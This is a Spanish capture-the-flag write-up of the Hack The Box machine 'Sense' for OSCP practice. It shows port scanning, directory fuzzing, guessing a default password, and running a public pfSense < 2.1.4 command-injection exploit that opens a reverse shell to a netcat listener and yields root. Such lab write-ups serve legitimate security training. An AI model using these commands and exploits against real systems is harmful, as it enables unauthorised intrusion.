OSCP Path ~ Sense de Hack The Box (Necesario VIP)
Sense ~ Hack The Box to OSCP
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.60 "
Procedemos con el siguiente escaneo de Nmap
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
Le tiramos un Whatweb
http://10.10.10.60 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[lighttpd/1.4.35], IP[10.10.10.60], RedirectLocation[https://10.10.10.60/], lighttpd[1.4.35]
ERROR Opening: https://10.10.10.60/ - SSL_connect returned=1 errno=0 state=error: dh key too small
Inspeccionamos el certificado SSL con openssl
# openssl s_client -connect 10.10.10.60:443
Nos lista el certificado SSL y el protocolo de comunicacion utilizado TLSv1.2
Nos metemos por el http y vemos que estamos ante un pfsense
Wappalyzer nos dice que esta escrito en “php”
Procedemos a Fuzzear con la herramienta wfuzz: Escaneo 1:
fuzzing sin extensiones
000003584: 200 228 L 851 W 7492 Ch "tree"
000008044: 200 173 L 404 W 6113 Ch "installer"
Escaneo 2
Fuzzing con extensiones php, txt
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000095: 200 173 L 425 W 6689 Ch "help - php"
000000003: 200 173 L 425 W 6690 Ch "index - php"
000000315: 200 173 L 425 W 6690 Ch "stats - php"
000001201: 200 173 L 425 W 6689 Ch "edit - php"
000001331: 200 173 L 425 W 6692 Ch "license - php"
000001501: 200 173 L 425 W 6691 Ch "status - php"
000001385: 200 173 L 425 W 6691 Ch "system - php"
000002510: 200 9 L 40 W 271 Ch "changelog - txt"
000002911: 200 173 L 425 W 6689 Ch "exec - php"
000005455: 200 173 L 425 W 6690 Ch "graph - php"
000008957: 200 173 L 425 W 6691 Ch "wizard - php"
000012509: 200 173 L 425 W 6688 Ch "pkg - php"
000034071: 200 16 L 26 W 384 Ch "xmlrpc - php"
000069533: 200 173 L 425 W 6691 Ch "reboot - php"
000093543: 200 173 L 425 W 6695 Ch "interfaces - php"
"
changelog.txt - Nos Da Info interesante sobre los cambios que han habido y que falta una VULN por parchear
system-users.txt Obtenemos credenciales de usuario y posible contraseña para el login "
Hechamos un ojo a la ruta encontrada
https://10.10.10.60/system-users.txt
####Support ticket###
Please create the following user
username: Rohit
password: company defaults
Probamos a hacer uso de distintas posisbles password para el usuario rohit
y damos con la password correcta pfsense
.
Accedemos al Panel de administrador y buscamos por la version
de pfsense
que es 2.1.3
Procedemos a usar la herramienta Searchsploit
para buscar por pfsense 2.1.3
# searchsploit -m php/webapps/43560.py
Exploit: pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection
URL: https://www.exploit-db.com/exploits/43560
Path: /usr/share/exploitdb/exploits/php/webapps/43560.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /home/OSCP/Sense/exploits/43560.py
Vemos que es un script en python que nos devuelve una r-shell
si nos ponemos a la escucha con una session con nc -vlnp $Port
Probamos el exploit para ver si resulta funcional:
# python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.12 --lport 443 --username rohit --password pfsense
CSRF token obtained
Running exploit...
Exploit completed
Nos ponemos a la escucha con la session de Netcat
# nc -nlvp 1233 1 ⨯
listening on [any] 1233 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.60] 8378
sh: can't access tty; job control turned off
# whoami
root
Nos desplazamos para sacar la flag del usuario root
# cd root
# cat *
d08c32a5d4f8c8b10e76exxxxxxxxxxxxx